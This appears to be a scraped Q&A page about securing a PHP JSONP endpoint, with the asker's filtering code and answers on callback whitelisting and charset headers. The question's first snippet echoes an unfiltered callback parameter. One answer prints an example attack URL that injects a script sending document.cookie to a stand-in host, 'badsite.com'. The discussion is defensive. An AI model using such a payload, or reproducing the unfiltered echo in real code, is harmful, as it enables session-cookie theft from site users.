Logo Questions Linux Laravel Mysql Ubuntu Git Menu
 

Is this safe for providing JSONP?

Tags:

<?php header('content-type: application/json');  $json = json_encode($data);  echo isset($_GET['callback'])     ? "{$_GET['callback']}($json)"     : $json; 

Or should I for example filter the $_GET['callback'] variable so that it only contains a valid JavaScript function name? If so, what are valid JavaScript function names?

Or is not filtering that variable a bit of the point with JSONP?


Current solution: Blogged about my current solution at http://www.geekality.net/?p=1021. In short, for now, I have the following code, which hopefully should be pretty safe:

<?php header('content-type: application/json; charset=utf-8');  function is_valid_callback($subject) {      $identifier_syntax        = '/^[$_\p{L}][$_\p{L}\p{Mn}\p{Mc}\p{Nd}\p{Pc}\x{200C}\x{200D}]*+$/u';       $reserved_words = array('break', 'do', 'instanceof', 'typeof', 'case',        'else', 'new', 'var', 'catch', 'finally', 'return', 'void', 'continue',         'for', 'switch', 'while', 'debugger', 'function', 'this', 'with',         'default', 'if', 'throw', 'delete', 'in', 'try', 'class', 'enum',         'extends', 'super', 'const', 'export', 'import', 'implements', 'let',         'private', 'public', 'yield', 'interface', 'package', 'protected',         'static', 'null', 'true', 'false');       return preg_match($identifier_syntax, $subject)          && ! in_array(mb_strtolower($subject, 'UTF-8'), $reserved_words); }  $data = array(1, 2, 3, 4, 5, 6, 7, 8, 9); $json = json_encode($data);  # JSON if no callback if( ! isset($_GET['callback']))      exit( $json );  # JSONP if valid callback if(is_valid_callback($_GET['callback']))      exit( "{$_GET['callback']}($json)" );  # Otherwise, bad request header('Status: 400 Bad Request', true, 400); 
like image 725
Svish Avatar asked Jun 27 '10 16:06

Svish


People also ask

Does JSONP still work?

JSONP is still useful for older browser support, but given the security implications, unless you have no choice CORS is the better choice.

What does JSONP enable us do?

JSONP enables sharing of data bypassing same-origin policy, which disallows running JavaScript code to read media DOM elements or XMLHttpRequest data fetched from outside the page's originating site. The originating site is indicated by a combination of URI scheme, host name, and port number.

How do I get JSONP data?

JSONP is a technique by which you put your request into a script tag URL (which is allowed to any domain) and you pass in that URL a parameter which indicates the name of a function that you want the resulting script that is returned to call and pass it your data.


2 Answers

No, if you intend to limit the JSONP to select domains. Specify the encoding too or people who shouldn't be able to access the JSON can possibly do UTF-7 injection attacks. Use this header instead:

header('Content-Type: application/json; charset=utf-8'); 

If it's supposed to be a public JSONP service, then yes it is safe, and also use application/javascript instead of application/json.

like image 129
Eli Grey Avatar answered Oct 07 '22 23:10

Eli Grey


To be safe, you should encode callback to only allow valid JS function names. Nothing complex, just don't allow end-developers to inject any javascript. Here's some code:

<?php      header('Content-Type: application/json; charset=utf-8'); // Thanks Eli      /**      * Ensures that input string matches a set of whitelisted characters and      * replaces unlisted ones with a replacement string (defaults to underscore).      * @param string $orig The original text to filter.      * @param string $replace The replacement string (default is underscore).      * @param string The original text with bad characters replaced with $replace.      * @link https://github.com/uuf6429/K2F/blob/master/K2F-DEV/core/security.php#L263      */     function strtoident($orig,$replace=''){         $orig=(string)$orig;                  // ensure input is a string         for($i=0; $i<strlen($orig); $i++){             $o=ord($orig{$i});             if(!(  (($o>=48) && ($o<=57))     // numbers                 || (($o>=97) && ($o<=122))    // lowercase                 || (($o>=65) && ($o<=90))     // uppercase                 || ($orig{$i}=='_')))         // underscore                    $orig{$i}=$replace;        // check failed, use replacement         }         return $orig;     }      $json=json_encode($data)      echo isset($_GET['callback'])         ? strtoident($_GET['callback']).'('.$json.');'         : $json;  ?> 

Edit:

The reason is to avoid hackers pointing innocent victims to:

http://yoursite.com/jsonp.php?callback=(function(){ $(document.body).append('<script type="text/javascript" src="http://badsite.com/?usercookies='+document.cookie+'"></script>'); })// 

Which can be broken down to:

(function(){     $(document.body).append(         '<script type="text/javascript" src="http://badsite.com/?usercookies='+document.cookie+'"></script>'     ); })//("whatever"); 

With the latter part being the json you encoded, easily cancelled out with a comment (though unnecessary for their exploit to work). Basically, the hacker gets to know the user's cookies (among other things) which helps him gain access to the user's account with your website.

Edit: UTF-8 Compatibility. In order to substantiate my claims, read here. Or:

Like UTF-16 and UTF-32, UTF-8 can represent every character in the Unicode character set. Unlike them, it is backward-compatible with ASCII and avoids the complications of endianness and byte order marks (BOM).

like image 36
Christian Avatar answered Oct 07 '22 23:10

Christian